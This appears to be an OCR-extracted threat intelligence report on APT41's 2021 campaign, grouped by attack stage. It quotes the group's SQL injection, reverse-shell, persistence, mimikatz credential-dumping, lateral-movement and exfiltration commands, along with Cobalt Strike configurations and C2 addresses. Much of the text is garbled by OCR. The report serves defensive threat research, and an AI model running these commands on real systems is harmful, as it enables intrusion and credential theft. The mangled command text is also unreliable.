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Who are APT417?

A state-sponsored group whose goals include cyber espionage and financial gain
Active since at least 2007

Also known as BARIUM, Winnti, LEAD, WICKED SPIDER, WICKED PANDA, Blackfly, Suckfly,
Winnti Umbrella, Double Dragon

Some of the group’s members were indicted by the US Department of Justice in 2020; charges
against them include unauthorized access to protected computers, aggravated identity theft,
money laundering, and wire fraud

Key findings
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We estimate that in 2021 APT41 compromised and gained various levels of access to at least
13 organizations worldwide.

The group’s targets include government and private organizations based in the US, Taiwan,
India, Thailand, China, Hong Kong, Mongolia, Indonesia, Vietnam, Bangladesh, Ireland, Brunei,
and the UK.

In the campaigns that we analyzed, APT41 targeted the following industries: the government
sector, manufacturing, healthcare, logistics, hospitality, finance, education,
telecommunications, consulting, sports, media, and travel. The targets also included a political
group, military organizations, and airlines.

To conduct reconnaissance, the threat actors use tools such as Acunetix, Nmap, Sqglmap,
OneForAll, subdomain3, subDomainsBrute, and Sublist3r.

As an initial vector, the group uses web applications vulnerable to SQL injection attacks.

By performing SQL injections, APT41 gains access to the command shell of a targeted server
and becomes able to execute commands.

We estimate that in 2021 APT41 detected and exploited SQL injection opportunities in 43 out
of 86 web applications that they probed.

The main tool used in their campaigns is a custom Cobalt Strike Beacon.

APT41’s “working” days are Monday to Friday. They usually start at 10 AM and finish around 7
PM (UTC+8).

Attack geography and target industries

ColunmTK

Page 4 of 35



https://www.group-ib.com/blog/colunmtk-apt41/

https://www.group-ib.com /blog/apt4 1-world-tour-2021/

News agencies, government organizations, a major electronics manufacturer, and a logistics

company in Taiwan

A software developer and several companies that own a chain of hotels in the US
A financial organization and an educational entity in Vietnam
A news agency and a software developer in China

An Indian airline
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Reconnaissance

Acunetix vulnerability scanner
Nmap network scanner

Utilities for brute-forcing directories on web servers: OneForAll, subdomain3, subDomainsBrute,
Sublist3r

JexBoss, a tool for searching for and exploiting vulnerabilities in Jbos and other Java
applications

fofa.su (a Chinese equivalent of shodan.io) scans the Internet and collects information about
open ports and services running on them, which enables attackers to determine their targets
and conduct attacks more effectively.

Initial Access
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python sqglmap.py -r [Companyl_domain].txt --tamper=space2comment --random-agent -p
ctl00%24 ContentPlaceHolderl%24txtUserName,ctlO0%24 ContentPlaceHolderl%24txtPassw:
--os-shell python sqglmap.py -r [Company2_domain].txt -p
"'ctl00%24MainContent%24txtUserName,ctl00%24MainContent%24txtPassword" --is-dba --
hex sqlmap.py -u [Company3_domain]/content.php?id=2141&sub=153 --random-agent --
tamper=space2comment --time-sec=10 --current-user python sqglmap.py -r
[Company4_domain] -p

"ctl00%24 ContentPlaceHolderl%24txtUserName,ctlO0%24 ContentPlaceHolderl%24txtPassw
--file-write="/root/sqlmap/{Redacted_filename}.aspx" --file-dest="
{Redacted_filepath}\\loginl.aspx" python sglmap.py -u
"http://[Company5_domain]/[redacted]/[redacted]/[redacted].php/?
pagel=DM&page2=TOTAL_DATA_DOWNLOAD&page3=TOTAL_DATA_DOWNLOAD" -p
"pagel" --file-read "/etc/passwd"

Execution
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Once the payload is compiled, it is encoded in Base64.

The encoded payload is divided into chunks of 775 characters and added to a text file using the
following command: Echo [Base64]{775} >> C:\dns.txt

Once the encoded payload has been written to a file, the utility called certutil with the parameter
—decode is launched. The utility converts the Base64-encoded payload into an .exe file. Certutil
is a built-in tool in Windows systems.

After the file is decoded, the attackers launch certutil again, with the parameter —hashfile. This
parameter is necessary to obtain the hash of the resulting file. This action has to do with the fact
that the attackers conduct each iteration manually and could make a mistake at a certain point.
Checking the file hash helps ensure that the data has been written correctly and that the
payload has been decoded without any errors.

The file is then renamed and sent to other directories to cover any tracks, after which the
attackers launch it.

echo
TVgQAAMAAAAEAAAA/[BAALgGAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>> C:\dns.txt ---- echo
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
C:\dns.txt echo
5kgXfx+Ig8S1vr8p7ifpkRNTIwypOpYrBDdptgjbLcJBCAUQEK/+D85bYTIORGIYYZ9UR4ejobcal
C:\dns.txt

certutil -decode C:\dns.txt C:\dns.exe certutil -hashfile C:\dns.exe copy C:\dns.exe
C:\WINDOWS\dns.exe move C:\dns.exe C:\windows\mciwave.exe
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echo
03wiZy3M7pERynevamNQTtL5VZF3C+vS22sRbsUgj8LwO0O5hIB1mVINyvdw5GWrKgdMrpkJ2r
>> C:\temp\bug.txt echo
Wv39JqjpZEGW7rjPYW5t09Ck9AQTc94kJ5nfTPEhE6KVVRAeuMw23IQdZy/ZquMQOcy9ozRI
>> C:\temp\bug.txt

powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object
Net.Sockets.TCPClient({redacted}, 80);$NetworkStream =

$TCPClient.GetStream();$ StreamWriter = New-Object

10.StreamWriter($ Network Stream);function WriteToStream ($String) {{byte[]]$script:Buffer =
0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL>

";$ StreamWriter.Flush()}WriteToStream ";while(($BytesRead = $NetworkStream.Read($Buffer,
0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]:UTF8).GetString($Buffer, O,
$BytesRead - 1);$O0utput = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ |
Out-String}WriteToStream ($Output)}$StreamWriter.Close()"

SCHTASKS /Create /S 192.168.100.19 /U "{redacted}\administrator" [P "l@#VirgO#@!" /RU
SYSTEM /SC DAILY /TN Exec2022 /TR "C:\windows\system32\taskhosts.exe" SCHTASKS
frun [S 192.168.100.19 /U "{redacted}\administrator" [P "l@#VirgO#@!" /TN Exec2022
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sc \\172.16.2.146 Create Superle binPath= "cmd.exe [k "c:\users\public\install.oat"; sc
\\192.168.111.112 create res binpath="C:\PerfLogs\vmserver.exe"; sc \\192.168.111.112 start res;
sc query LxpSrvc; sc delete LxpSrvc;

wmic [node:172.19.97102 /user{redacted}\{redacted} /password:P$sswOrd0006 process call
create "C:\users\Public\COMSysUpdate.exe" wmic /node:172.21.2.177 [user:{redacted}\
{redacted} /password:PasswOrd@123 process call create "c:\users\Public\install.bat"

Persistence

schtasks [create [s 192.168.111.3 /u {redacted} [p {redacted} /tn dda [sc onstart [tr
C:\PerfLogs\vmserver64.exe [ru system [f SCHTASKS /Create /S 10.200.244.222 [U
test\administrator /P {redacted} /[RU "system" [tn risv [sc DAILY [tr c:\2012.bat [F SCHTASKS
|Create /S 192.168.100.19 /U "{redacted}\administrator" /[P {redacted} /RU SYSTEM /SC DAILY
/TN Exec2022 /TR "C:\windows\system32\taskhosts.exe" schtasks /create [tn risvl /U
test\Administrator /P {redacted} /tr C:\2012.bat [sc DAILY /s 10.200.244.222 /|RU system
SCHTASKS /Create [RU SYSTEM /SC ONSTART /TN Update /TR
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"C:\windows\system32\calc.exe" SCHTASKS /Create /[RU SYSTEM /[SC ONSTART /TN
dllhosts /TR "dllhosts.exe" schtasks.exe [s 192.168.0.28 [u "administrator" /p {redacted}
[Create [tn VMUSS [tr "c:\users\public\install.bat" /st 15:58 /sc once [ru system

sc \\172.26.16.81 Create Superle binPath= "cmd.exe [k
c:\users\public\SecurityHealthSystray.exe" sc Create syscmd binpath="cmd/k start"type=
own type= interact sc \\192.168.111.112 create res binpath="C:\PerfLogs\vmserver.exe" sc
start LxpSrvc

copy C:\temp\LxpSvc.exe "\\192.168.100.4\c$\Users\administrator.
{redacted}\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\LxpSvc.exe"

Privilege Escalation

cmd.exe [c c:\windows\Temp\BadPotatoNet4.exe c:\windows\Temp\COMSysCon.exe;
execute-assembly C:\Users\Administrator\Desktop\SweetPotato.exe
E:\Projects\Operations\uploads\documents\docs\AxInstSV.exe.
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Defense Evasion

del C:\temp\LxpSvc.exe del c:\users\public\BadPotatoNet4.exe del
\\172.16.2.21\c$\users\Public\SecurityHealthSystray.dll del
\\172.16.2.21\c$\users\Public\SecurityHealthSystra.ocx copy
"C:\Windows\System32\winevt\Logs\Microsoft-Windows-TerminalServices-
RemoteConnectionManager%4QOperational.evtx" "C:\PerfLogs\mwt.evtx"
C:\PerfLogs\mwt.evtx rm C:\PerfLogs\mwt.evitx

icacls \\192.168.0.243\c$\www\{redacted}\test2.asp /grant IS_IUSRS:F

The threat actors developed a custom injector that makes it possible to bypass Event Tracing
for Windows (ETW), thereby making the process invisible to the logging system in Windows.

The second noteworthy feature of this injector is a method taken from an open GitHub
repository. The idea is to be able to launch a new process in a way as to ensure that neither
Windows nor antivirus software can inject their binaries into this process, which enables the
threat actors to bypass built-in antivirus tools.
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described

Credential Access

ntdsutil "ac i ntds" "ifm" "create full C:\perflogs\temp" q g ntdsutil "activate instance ntds" "ifm"

"create full C:\PerfLogs\temp" quit quit
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reg save HKLM\SAM C:\perflogs \sam.save copy \\?
\GLOBALROOT\Device\HarddiskVVolumeShadowCopyll\Windows\System32\config\SAM
c:\users\public\SAM

procdump64.exe -accepteula -ma Isass.exe Isass.dmp C:\mi.exe ""privilege::debug
"'sekurlsa:logonpasswords full"" exit >> C:\log.tx mimikatz's sekurlsa:logonpasswords

BrowserGhost.exe == iis.txt

findstr /c:"User" [c:"Password" [si web.config findstr [c:"User ID=" /c:"Password="
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Discovery

net user /[domain > 1.txt net user net localgroup administrators net accounts /domain net

group "Domain Admins"

echo %PROCESSOR_ARCHITECTURE% systeminfo whoami net config Workstation

net group "Domain Admins" /[domain net group "domain Controllers" net group "Exchange
Servers" net group "Schema Admins" net group "Protected Users" net group "Enterprise
Admins" net group "Enterprise Read-only Domain Controllers" net group "Exchange Domain

Servers"
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reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-
Tcp /v PortNumber" reg query
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKEY_LOCAL_MACHINE
\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{1f777394-0b42-11e3-
80ad-806e6f6e6963}"

dsquery site

net time /domain

tasklist /pid 1428 [f tasklist /s 172.16.2.132 [u test\administrator /p {redacted} tasklist | findstr
update_x64.exe
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C:\PerfLogs\cping40.exe scan smbvul 10.0.0.1 10.0.10.1 > 10.txt cping40.exe scan smbvul
192.168.20.1 192.168.29.1 > 30.txt

net share net view [DOMAIN

reg query "HKEY_LOCAL_MACHINE
\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{1f777394-0b42-11e3-
80ad-806e6f6e6963}"

netstat -ano netstat -r netstat -an netstat -aon|findstr "8080" netstat -ano | findstr dns.exe
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ping -n 1 PIST-FILE-SRV for [l %i in (1,1,255) do @ping 172.67204.%i -w 1 -n 1[find /i "ttl="
setspn -T [target_company_named4] -Q */* | payload setspn -T [target_company_name6] -Q
*/* | findstr 1S setspn -T [target_company_name5] -Q */* | findstr SQL setspn -T
[target_company_name6] -Q */* | findstr MSSQL

Lateral Movement

Pass-The-Hash

mimikatz's sekurlsa::pth [user:Administrator /domain:{redacted} /ntim:{redacted}
[run:"%COMSPEC% [c echo 70c64df2976 = \\.\pipe\277bf3" mimikatz's sekurlsa:pth [user:
{redacted} /domain:{redacted} /ntim:{redacted} [run:"%COMSPEC% /c echo 22074328564 >
\\\pipe\bceOal"

jump psexec64 {redacted} dns windows/beacon_dns/reverse_dns_txt (nsl.colunm.tk:53) on
{redacted} via Service Control Manager (\\[redacted]\ADMIN$\c3632b3.exe) copy
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c:\users\public\COMSysUpdate.exe \\172.19.97101\c$\users\public\ COMSysUpdate.exe

Collection

7z.exe a syslog.7z Intl 7z.exe a iislog.7z Intl 7z.exe a Ops.7z C:\PerfLogs\Ops\
C:\perflogs\7z.exe a -tzip C:\perflogs\nt.zip C:\perflogs\temp\

shell git clone "ssh://jenkins@{redacted};29418/DevOps/Playbook?2" shell git clone
"ssh://jenkins@{redacted}:29418/DevOps/Inventory/Cloud/Intl" shell git clone
"ssh://jenkins@192.168.0.251:29418/DevOps/Inventory"

vssadmin list shadows vssadmin create shadow [for=c: vssadmin delete shadows [for=c:
/quiet esentutl [p [o ntds.dit copy "C:\Windows\System32\winevt\Logs\Microsoft-Windows-
TerminalServices-RemoteConnectionManager%4Operational.evtx" "C:\PerfLogs\mwt.evitx"
copy "C:\Windows\System32\winevt\Logs\Microsoft-Windows-TerminalServices-
RemoteConnectionManager%4Operational.evtx" "C:\PerfLogs\mwt.evtx" rd:true /g:"*
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[System[(EventlD=4624 or EventlID=4648 or EventlD=4672)] and
EventData[(Data[@Name='LogonTypel='2' or Datal|@Name="'LogonType']="10"1]"| findstr /i
[c:"Date" [c:"Logon Type:" [ c:"Account Name" [c:"Workstation Name:" [ c:"Source Network
Address"

Command and Control

Page 21 of 35




https://www.group-ib.com /blog/apt4 1-world-tour-2021/

upload C:\Users\Administrator\Desktop\cs\dns\COMSysUpdate.ocx upload
C:\Users\Administrator\Desktop\webshell\uploada4.aspx upload
c:\users\alex\desktop\smb.exe upload
C:\Users\Administrator\Desktop\cs\SecurityHealthSystray.dll upload
C:\Users\Administrator\Desktop\cs\install.bat upload
C:\Users\jack\Desktop\tmp\cs_shell\server\install.bat upload
C:\Users\jack\Desktop\tmp\cs_shell\server\bthsvc64.dll upload
C:\Users\jack\Desktop\tmp\procdump64.exe upload C:\Users\jack\Desktop\
{redacted}\244\mciwave32.dll upload C:\Users\Admin\Desktop\
{redacted}\HTTPS\LxpSvc.exe upload C:\Users\Admin\Desktop\Webshell upload
C:\Users\Admin\Desktop\{redacted}\webshell\test4.aspx upload C:\Users\Admin\Desktop\
{redacted}\1ti%\service\install.bat upload C:\Users\Admin\Desktop\{redacted}\LxpSrvc.dll
upload C:\Users\Admin\Desktop\{redacted}\1i%\exe\dfss.dll upload
C:\Users\Administrator\Desktop\BadPotatoNet4.exe

frcp.exe -c frep.ini

Exfiltration
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download D:\projects\{redacted}\web.config; download D:\projects\{redacted}\css\help.txt;
download D:\System Volume Information\002.dat; download D:\projects\
{redacted}\Web.config; download D:\{redacted}\{redacted}20210301120008.txt; download
c:\ftpcmd.dat; download c:\AppTextFile.txt; download
c:\Users\Administrator\Desktop\OfcNTCer.dat; download c:\Users\
{redacted}\Desktop\172.16.11.103.png; download c:\Users\{redacted}\Desktop\FTP
batch\ftp_servername.bat; download c:\Users\{redacted}\Desktop\FTP batch\[redacted].bat;
download c:\Users\{redacted}\Desktop\tm remote chat.txt; download c:\Temp\netstat.txt;
download c:\Program Files (x86)\Trend Micro\OfficeScan\PCCSRV\Admin\web.config;
download c:\Program Files (x86)\Trend
Micro\OfficeScan\PCCSRV\Admin\Utility\SQL\web.config; download c:\Program Files
(x86)\Trend Micro\OfficeScan\PCCSRV\Web\web.config; download c:\Program Files
(x86)\Trend
Micro\OfficeScan\PCCSRV\Web_OSCE\Web_console\HTML\widget_old\repository\inc\class
; download

c\Windows\Microsoft. NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\web.config;
download c:\Windows\Microsoft. NET\Framework\v2.0.50727\CONFIG\web.config; download
c\Windows\Microsoft. NET\Framework64\v2.0.50727\ASP.NETWebAdminFiles\web.config;
download c:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\web.config;
download c:\Windows\WinSxS\amd64_clientdeployment-
connectsite_31bf3856ad364e35_10.0.14393.0_none_d2443e4100c72a7c\web.config;
download c:\Users\{redacted}\Desktop\Office Scan Backup\Private\AosBackup.txt

Hunting for APT41 Cobalt Strike servers
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Artifacts and other noteworthy findings

Chinese strings

Using mainly Chinese IP addresses to communicate with Cobalt Strike servers.

171.208.242.0/24 CHINANET 171.208.241.0/24 CHINANET 110.191.217.0/24 CHINANET
102.223.72.0/22 SUNNETWORK-SA 103.165.84.0/24 GEM1-HK 178.79.128.0/18 US-LINODE-
20100510 45.152.112.0/23 ALANYHQ 60.248.225.0/24 HINET-NET 61.221.57.0/24 HINET-NET

Using Chinese characters on the devices from which the attacks were conducted.

Using a specific Pinyin format for directory names.
Pinyin is a romanization system that represents the sounds of the Chinese language through
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the use of the Latin alphabet. In the case below, a directory is called “yuming”, which in Chinese
means “domain name”.

Separate directories are used for certain organizations.

*Working” hours” of APT41

CONTI ARMADA:
THE ARMATTACK CAMPAIGN
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Australia
Malaysia
Singapore
China

and others

Conclusion
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Try Group-IB Threat Intelligence now!

Test Drive Group-IB Threat Intelligence

C&C domains

45142.214[.]242 delaylink[.]Jtk,javaupdate.biguserup[.]Jworkers.dev

45.153.231[.]31

45144.31[]31 colunml.]Jtk

45.142.214[.)56 mute-pond-371d.zalocdn[.]Jworkers.dev,cs16.dns04[.Jcom

ANantlaniAi~aal

Cobalt Strike Beacons
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45.142.214.242: "config_payload": { "process-inject-stub": "foM7aRSiLoJO1wylz1ATTQ==",
"nttp-get.uri": "javaupdate.biguserup.workers.dev,/jquery-3.3.1.min.js", "stage.cleanup": 1,
"http-get.serveroutput”: ""T", "post-ex.spawnto_x64": "%windir%\\sysnative\\svchost.exe -k
netsvcs", "post-ex.spawnto_x86": "%windir%\\syswow64\\svchost.exe -k netsvcs",
"watermark": 305419896, "process-inject-use-rwx": 64, "dns_idle": 134744072, "sleeptime":
60000, "publickey":
"MIGfMAOGCSqGSIb3aDQEBAQUAA4GNADCBIQKBgQCY/kAU3iI5Cw6hXsXbgonByGxgtOJX
"maxdns": 255, "http-post.client": "Accept: */*2Referer:
https://javaupdate.biguserup.workers.dev/Accept-Encoding: *&Host:
javaupdate.biguserup.workers.dev__cfduid", "ssl": true, "publickey_md5":
"531c720aae6e053b9db9be8e7b56178f", "nttp-post.uri™: "[jquery-3.2.2.min.js", "jitter": 41,
"‘cookieBeacon": 1, "port": 443, "process-inject-start-rwx": 64, "http-get.client": "Accept-
Encoding: *&Host: javaupdate.biguserup.workers.devAccept: */*2Referer:
https://javaupdate.biguserup.workers.dev/__cfduid=Cookie", "http-get.verb": "GET",
"proxy_type": 2, "user-agent": "Moazilla/5.0 (Windows NT 10.0; WOW64; rv:57.0)
Gecko/20100101 Firefox/57.0" } },

45.144.31.31: config_payload": { "process-inject-stub": "d5nX4wNnwCo18Wx3jr4tPg==", "http-
geturi: "cs.colunm.tk,/__utm.gif", "http-get.serveroutput™ "', "post-ex.spawnto_x64":
"%windir%\\sysnative\\rundli32.exe", "post-ex.spawnto_x86"
"%windir%\\syswow64\\rundll32.exe", "watermark": 305419896, "process-inject-use-rwx": 64,
"sleeptime": 60000, "publickey":
"MIGFMAOGCSqGSIb3DQEBAQUAA4AGNADCBIQKBgQCBkyCWDMC1Q6VgRZIY35+iU7KtrH»
"maxdns": 255, "http-post.client": "& Content-Type: application/octet-streamid", "ssl": true,
"publickey_md5": "9cdb3fca6156c6cbed2f01d6431b3dfb", "http-post.uri": "/submit.php",
"cookieBeacon": 1, "port": 8443, "process-inject-start-rwx": 64, "http-get.client": "Cookie",
"nttp-get.verb™ "GET", "proxy_type": 2, "user-agent": "Mozilla/5.0 (compatible; MSIE 9.0;
Windows NT 6.1; WOW®64; Trident/5.0; MANM; MANM)" }

45.142.212.47: "config_payload": { "process-inject-stub": "9LoFKCrbYILergvfu7Ki8A==", "http-
get.uri": "mute-pond-371d.zalocdn.workers.dev,/jquery-3.3.1.min.js", "stage.cleanup": 1, "http-
get.serveroutput™ "T", "post-ex.spawnto_x64" "%windir%\\sysnative\\svchost.exe -k

netsvcs", "post-ex.spawnto_x86": "%windir%\\syswow64\\svchost.exe -k netsvcs", "process-
inject-use-rwx": 64, "dns_idle": 134744072, "sleeptime": 32547, "publickey":
"MIGFMAOGCSqGSIb3DQEBAQUAA4GNADCBIQKBgQC3WFIrP6kOu+i8ozfzb2ILZHk Tokxc3l¢
"maxdns": 255, "http-post.client": "Accept: */*4Referer: https://mute-pond-
371d.zalocdn.workers.dev/Accept-Encoding: *(Host: mute-pond-
371d.zalocdn.workers.dev__cfduid", "ssl": true, "publickey_md5":
"a9020b0e5342fb8877d2fb213802132f", "http-post.uri™: "[jquery-3.2.2.min.js", "jitter": 41,
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"cookieBeacon": 1, "port": 443, "process-inject-start-rwx": 64, "http-get.client": "Accept-
Encoding: *(Host: mute-pond-371d.zalocdn.workers.devAccept: */*4Referer: https://mute-
pond-371d.zalocdn.workers.dev/__cfduid=Cookie", "http-get.verb": "GET", "proxy_type": 2,
"user-agent": "Mozilla/5.0 (Linux; Android 7.0; Pixel C Build/NRD9OM; wv) AppleWebKit/537.36
(KHTML, like Gecko) Version/4.0"}},

185.250.150.22: "config_payload": { "http-get.uri": "mute-pond-
371d.zalocdn.workers.dev,/jquery-3.3.1.min.js", "stage.cleanup": 1, "http-get.server.output": ""T",
"post-ex.spawnto_x64": "%windir%\\sysnative\\svchost.exe -k netsvcs", "post-
ex.spawnto_x86": "%windir%\\syswow64\\svchost.exe -k netsvcs", "process-inject-use-rwx":
64, "dns_idle": 134744072, "sleeptime": 32547, "publickey":
"MIGfMAOGCSqGSIb3aDQEBAQUAA4GNADCBIQKBgQCQ2/teGg2eUgU2sZjiJCCcKH7RgQrs
"maxdns": 255, "http-post.client": "Accept: */*4Referer: https://mute-pond-
371d.zalocdn.workers.dev/Accept-Encoding: *(Host: mute-pond-
371d.zalocdn.workers.dev__cfduid", "ssl": true, "publickey_md5":
"398c270c67cd915134ebbf7108090789", "http-post.uri™: "/jquery-3.2.2.min.js", "jitter": 41,
"‘cookieBeacon": 1, "port": 443, "process-inject-start-rwx": 64, "http-get.client": "Accept-
Encoding: *(Host: mute-pond-371d.zalocdn.workers.devAccept: */*4Referer: https://mute-
pond-371d.zalocdn.workers.dev/__cfduid=Cookie", "http-get.verb™ "GET", "proxy_type": 2,
"user-agent": "Mozilla/5.0 (Linux; Android 7.0; Pixel C Build/ NRD9OM; wv) AppleWebKit/537.36
(KHTML, like Gecko) Version/4.0"}

Found it interesting? Don't hesitate to share it to wow your friends or colleagues
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